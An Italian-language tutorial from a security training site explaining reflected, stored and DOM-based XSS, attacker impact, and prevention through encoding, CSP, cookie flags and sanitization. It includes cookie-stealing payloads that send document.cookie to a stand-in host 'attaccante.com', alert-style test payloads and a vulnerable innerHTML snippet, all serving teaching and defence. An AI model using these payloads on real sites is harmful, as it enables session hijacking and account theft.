XSS (Cross-Site Scripting): Cos'è, Come Funziona e Come Prevenirlo (2026)
1 luglio 2026 · di Pentevo
Il Cross-Site Scripting — XSS — è una delle vulnerabilità web più diffuse e incomprese. Nella mente di molti è "solo JavaScript nel browser", ma un attacco XSS ben eseguito può compromettere completamente la sessione di un utente, portare al furto di account e, in applicazioni critiche, causare danni enormi.
Cos'è l'XSS?
Il Cross-Site Scripting (XSS) è una vulnerabilità che permette a un attaccante di iniettare codice JavaScript malevolo in pagine web visualizzate da altri utenti. Il nome è fuorviante: l'attacco avviene sullo stesso sito (non "cross-site" nel senso moderno), ma il termine è rimasto per ragioni storiche.
Il meccanismo di base: l'applicazione web accetta dati dall'utente (commenti, nomi, parametri URL) e li inserisce nell'HTML della risposta senza sanitizzarli correttamente. Il browser della vittima interpreta questi dati come codice JavaScript legittimo e li esegue.
I tre tipi di XSS
1. Reflected XSS (non-persistente)
Il payload XSS è incluso in una richiesta HTTP (solitamente un parametro URL) e viene immediatamente "riflesso" nella risposta del server.
Esempio:
URL: https://esempio.com/ricerca?q=<script>alert('XSS')</script>
Se il sito inserisce il parametro q nell'HTML senza codificarlo:
<p>Risultati per: <script>alert('XSS')</script></p>
Il browser esegue lo script. L'attaccante distribuisce questo URL tramite phishing o social engineering.
Impatto: Colpisce solo chi clicca sul link malevolo. Richiede social engineering.
2. Stored XSS (persistente) — il più pericoloso
Il payload viene salvato nel database del sito (es. in un commento, un post, un profilo utente) e viene eseguito automaticamente ogni volta che qualcuno visualizza quella pagina.
Esempio: Un forum che non sanitizza i commenti. L'attaccante inserisce:
<script>document.location='https://attaccante.com/steal?c='+document.cookie</script>
Ogni visitatore che legge quel commento invia involontariamente i propri cookie all'attaccante.
Impatto: Nessun link da cliccare, colpisce tutti i visitatori della pagina.
3. DOM-based XSS
La vulnerabilità è nel codice JavaScript lato client, non nel server. Il payload modifica il DOM della pagina senza mai passare dal server.
Esempio:
// Codice vulnerabile
document.getElementById("output").innerHTML = location.hash.substring(1);
URL: https://esempio.com/#<img src=x onerror=alert('XSS')>
Il server non vede il payload (dopo il #), ma il browser lo esegue.
Impatto: Invisibile ai WAF e ai log del server, difficile da rilevare.
Cosa può fare un attaccante con XSS
Session hijacking (furto di sessione)
Il cookie di sessione identifica l'utente loggato. Rubarlo significa impersonare l'utente:
new Image().src = 'https://attaccante.com/steal?cookie=' + document.cookie;
Se il cookie non ha il flag HttpOnly, questo script lo invia all'attaccante che può usarlo per accedere all'account della vittima.
Phishing nella pagina (in-page phishing)
XSS può iniettare un form di login falso nella stessa pagina legittima. La vittima lo vede come parte del sito e inserisce le proprie credenziali.
Keylogging
Registrare ogni tasto premuto dall'utente sulla pagina e inviarlo all'attaccante.
Defacement
Modificare il contenuto visibile della pagina (meno comune, ma efficace per danni reputazionali).
Redirect e download
Reindirizzare l'utente verso siti malevoli o avviare il download di malware.
BeEF (Browser Exploitation Framework)
In un penetration test, BeEF usa XSS per prendere il controllo completo del browser della vittima e lanciare attacchi più sofisticati.
Come prevenire l'XSS
1. Output encoding — la regola d'oro
Codifica sempre i dati non affidabili prima di inserirli nel contesto HTML appropriato:
- In HTML context:
&,<,>,",'→&,<,>,",' - In JavaScript context: usa librerie come ESAPI o
JSON.stringify() - In URL context: URL encoding
- In CSS context: CSS hex encoding
In PHP: htmlspecialchars($dato, ENT_QUOTES, 'UTF-8')
In Python/Jinja: il template autoescaping è abilitato di default
In Java: OWASP Java Encoder
2. Framework moderni con autoescaping
React, Angular e Vue applicano l'encoding automaticamente quando si usa la sintassi standard ({variabile} in React, {{variabile}} in Angular/Vue). Attenzione però ai dangerouslySetInnerHTML (React), [innerHTML] (Angular) e v-html (Vue): questi bypassano la protezione.
3. Content Security Policy (CSP)
L'header HTTP Content-Security-Policy dice al browser da quali origini può caricare script, stili e risorse. Una CSP well-configured blocca l'esecuzione di script inline e script da origini non autorizzate, mitigando fortemente XSS:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}';
Il nonce (numero casuale per richiesta) permette solo gli script autorizzati dal server.
4. Flag sui cookie
- HttpOnly: impedisce l'accesso ai cookie via JavaScript (protegge dal session hijacking via XSS)
- Secure: trasmette il cookie solo su HTTPS
- SameSite: mitiga gli attacchi CSRF
5. Validazione degli input
- Usa whitelist di caratteri permessi
- Valida il tipo e il formato atteso
- Rifiuta input che non rispettano il formato
6. Sanitizzazione HTML
Se devi accettare HTML dall'utente (editor WYSIWYG, commenti con formattazione), usa librerie di sanitizzazione come DOMPurify (JavaScript) o bleach (Python) che rimuovono i tag e gli attributi pericolosi.
Come testare la propria applicazione per XSS
- Test manuale: prova payload semplici (
<script>alert(1)</script>,"><img src=x onerror=alert(1)>) nei campi input - Scanner DAST: OWASP ZAP, Burp Suite Scanner
- Code review: cerca usi di
innerHTML,document.write(), concatenazione di stringhe nell'HTML - Penetration test: un tester esperto individua XSS non trovati dagli scanner automatici
Conclusione
L'XSS è spesso sottovalutato perché "è solo JavaScript". In realtà, è una porta d'accesso al browser della vittima che un attaccante esperto sa sfruttare in modo devastante. La prevenzione — output encoding sistematico, CSP e framework sicuri — è semplice da implementare se si segue fin dall'inizio. Vuoi imparare il penetration testing delle applicazioni web? Esplora i corsi gratuiti di Pentevo Academy.
Domande frequenti
Cos'è l'XSS (Cross-Site Scripting)?
L'XSS è una vulnerabilità di sicurezza web che permette a un attaccante di iniettare codice JavaScript malevolo in pagine web visualizzate da altri utenti. Il browser della vittima esegue lo script come se fosse codice legittimo del sito, permettendo il furto di cookie di sessione, dati sensibili o il reindirizzamento verso siti malevoli.
Qual è la differenza tra XSS reflected e stored?
Nel Reflected XSS, il payload malevolo è incluso nell'URL e viene riflesso dalla risposta del server — colpisce la vittima che clicca su un link appositamente creato. Nel Stored XSS (più pericoloso), il payload viene salvato nel database del sito e viene eseguito automaticamente ogni volta che qualcuno visita la pagina infetta, senza bisogno di link.
L'XSS può rubare le password?
Direttamente no, perché le password non sono in genere visibili nel DOM. Tuttavia, tramite XSS un attaccante può: rubare i cookie di sessione (session hijacking), inserire form di login falsi (phishing nella pagina legittima), registrare i tasti premuti (keylogging), o eseguire richieste autenticate per conto della vittima (CSRF-like).
Come si previene l'XSS?
Le misure principali sono: output encoding (codificare tutti i dati non affidabili prima di inserirli nell'HTML), Content Security Policy (CSP) come header HTTP per limitare l'esecuzione di script, validazione degli input lato server, usare framework moderni che gestiscono l'encoding automaticamente (React, Angular, Vue).
Letture correlate
Intelligenza Artificiale nella Cybersecurity: Come l'AI Cambia Attacchi e Difese
Come l'intelligenza artificiale sta rivoluzionando la cybersecurity nel 2026: AI negli attacchi, AI nella difesa, deep fake, prompt injection e cosa aspettarsi.
FundamentalsSicurezza Informatica per Principianti: Guida Completa 2026
Guida alla sicurezza informatica per chi inizia da zero: concetti fondamentali, minacce principali, strumenti di difesa e come iniziare a studiare cybersecurity in italiano.
FundamentalsNotizie Cybersecurity 2026: Il Panorama delle Minacce in Italia e in Europa
Aggiornamenti sul panorama della cybersecurity in Italia e in Europa nel 2026: NIS2, ACN, attacchi ransomware, trend delle minacce e normative emergenti.
FundamentalsGuida Completa all'Ethical Hacking (2026): Tutto Quello che Devi Sapere
Guida completa all'ethical hacking in italiano: definizione, metodologia in 5 fasi, strumenti principali, certificazioni e come iniziare una carriera nel settore.
Metti in pratica questi concetti
Pentevo Academy trasforma questi concetti in lezioni guidate, video e quiz — gratis.
Inizia a imparare gratis